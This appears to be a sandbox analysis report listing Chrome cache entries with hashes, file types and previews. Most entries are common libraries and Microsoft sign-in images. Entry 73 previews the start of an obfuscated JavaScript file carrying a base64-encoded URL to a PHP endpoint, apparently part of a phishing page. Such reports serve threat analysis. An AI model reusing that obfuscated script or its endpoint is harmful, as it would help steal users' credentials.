Preview:	var file = "aHR0cHM6Ly81ODYzOTQxMDk2LmxlZ2FsYnVzaW5lc3NmZWRlcmFsLmNvbS9uZXh0LnBocA==";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65446), with CRLF line terminators
Category:	dropped
Size (bytes):	553324
Entropy (8bit):	4.91225978505665
Encrypted:	false
SSDEEP:	6144:VTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:Aay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	81622392E189EACDA2598816A61116EE
SHA1:	EF48933E44BDF7708BE50FCFB80030844EF1041A
SHA-256:	6BC6072737D7D71E346416CBBCD9A5CC9FA3E9918776B03ADE30A481DE29F9CB
SHA-512:	1B9F0F66E1850AF7745E2A8903AF050912C1A2F045A85EE8E2187980E380EDFB14E5DFC2E14A6CF1D996521F87D801401DF3D5B67EEAD2BCD418B4195AB92A35
Malicious:	false
Reputation:	low
Preview:	var file = "aHR0cHM6Ly81ODYzOTQxMDk2LmxlZ2FsYnVzaW5lc3NmZWRlcmFsLmNvbS9uZXh0LnBocA==";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 25 x 48, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlcPtlGpkkxl/k4E08up:6v/lhPK8pkk7Tp
MD5:	DA7C670CA92A7C9C2E2A2699786AC654
SHA1:	451A536BFFAB2D431EB943B9D1235A80A9AFC5AC
SHA-256:	09B3E06E36A53B6884C3790A8F75F76450C91F7C9A277EFB3C26318A4239D7D6
SHA-512:	3CB7A4AECE6880AC7E4FE1DCF7064FAB6A73C1A337AAD9A89AAE9C497F7DCE99C3571A638D9A398B83EBBD5449CB16F1A363480C9654C71C73A5E7ECFA5B687F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......0.....k(F.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Reputation:	low
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 25 x 48, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlcPtlGpkkxl/k4E08up:6v/lhPK8pkk7Tp
MD5:	DA7C670CA92A7C9C2E2A2699786AC654
SHA1:	451A536BFFAB2D431EB943B9D1235A80A9AFC5AC
SHA-256:	09B3E06E36A53B6884C3790A8F75F76450C91F7C9A277EFB3C26318A4239D7D6
SHA-512:	3CB7A4AECE6880AC7E4FE1DCF7064FAB6A73C1A337AAD9A89AAE9C497F7DCE99C3571A638D9A398B83EBBD5449CB16F1A363480C9654C71C73A5E7ECFA5B687F
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901e4933de02c33d/1736864629544/apPZLrObUQ4dNFA
Preview:	.PNG........IHDR.......0.....k(F.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.390319531114783
Encrypted:	false
SSDEEP:	3:HYmpBth0tYY:4mpbgYY
MD5:	EB3CE3190D8A58E048D35E620747D3A5
SHA1:	76B5B6461189F839B018EF5C785DB4836B818B7D
SHA-256:	2D670E2962D8D805B95912CACA0822CE7C6913636BA40373C6E6AEA73CAC8457
SHA-512:	08F9C680B09CC25919A91F8E080CFC517F7354F49759DDC8CF6FFEB5ADE2E46F80A866E7531B6EA97188A5E4647093350F91ED51254351C47BCE3488EF88A595
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAlIm1DAJ2T_cBIFDa0JrrESEAnIKLwdtGSxXBIFDUPzdjk=?alt=proto
Preview:	CgkKBw2tCa6xGgAKCQoHDUPzdjkaAA==

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
